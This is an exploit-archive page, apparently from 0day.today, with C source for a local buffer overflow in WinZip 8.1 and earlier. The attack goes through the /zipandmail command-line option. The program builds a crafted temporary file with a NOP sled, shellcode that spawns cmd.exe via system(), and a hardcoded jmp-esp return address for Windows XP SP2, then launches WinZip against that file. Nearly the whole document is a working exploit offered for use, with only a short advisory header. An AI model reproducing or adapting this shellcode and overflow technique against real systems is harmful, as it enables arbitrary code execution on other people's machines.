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WinZIP <= 8.1 Command Line Local Buffer Overflow Exploit
[========================================================
WinZIP <= 8.1 Command Line Local Buffer Overflow Exploit
========================================================
/*
*
* WinZip Command Line Local Buffer Overflow
* http://securitytracker.com/alerts/2004/Sep/1011132.html
* http://www.winzip.com/wz90sr1.htm
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
*
*/
/*
*
* Tested with WinZip 8.1 on Win XP Sp2 En
* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
* http://www.winzip.com/wz90sr1.htm
*
*/
#include <windows.h>
#include <stdio.h>
#define NOP 0x90
void main()
{
// create crafted command line
char tmpfile[] = "c:\\wzs45.tmp";
char winzippath[] = "C:\\Program Files\\WINZIP\\winzip32.exe";
char zipandmailpar[] = " -* /zipandmail /@ ";
char runpar[300];
int i = 0;
strcpy(runpar,winzippath);
strcat(runpar,zipandmailpar);
strcat(runpar,tmpfile);
// need for some input file name .tmp but not must to exist
char inputfile[] = "C:\\someinputfile.ext\n";
// launch a local cmd.exe
char shellcode[] =
"\x55\x8B\xEC\x33\xFF"
"\x57\x83\xEC\x04\xC6\x45\xF8"
"\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6"
"\x45\xFC\x65\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65\xB8"
"\xC7\x93\xC2\x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
"\x50\x8D\x45\xF8\x50"
"\xFF\x55\xF4";
// create crafted .tmp file
FILE *di;
if( (di=fopen(tmpfile,"wb")) == NULL ){
return;
}
for(i=0;i<sizeof(inputfile)-1;i++)
fputc(inputfile[i],di);
fprintf(di,"c:\\");
for(i=0;i<384;i++)
fputc(NOP,di);
for(i=0;i<sizeof(shellcode)-1;i++)
fputc(shellcode[i],di);
fprintf(di,"\xBF\xAC\xDA\x77"); //EIP - WinXp Sp2 Eng - jmp esp addr
fprintf(di,"\x90\x90\x90\x90"); //NOPs
fprintf(di,"\x90\x83\xEC\x74"); //sub esp,0x74
fprintf(di,"\xFF\xE4\x90\x90"); //jmp esp
fprintf(di,"\n");
fclose(di);
WinExec(runpar,SW_SHOW);
}
# 0day.today [2024-11-15] #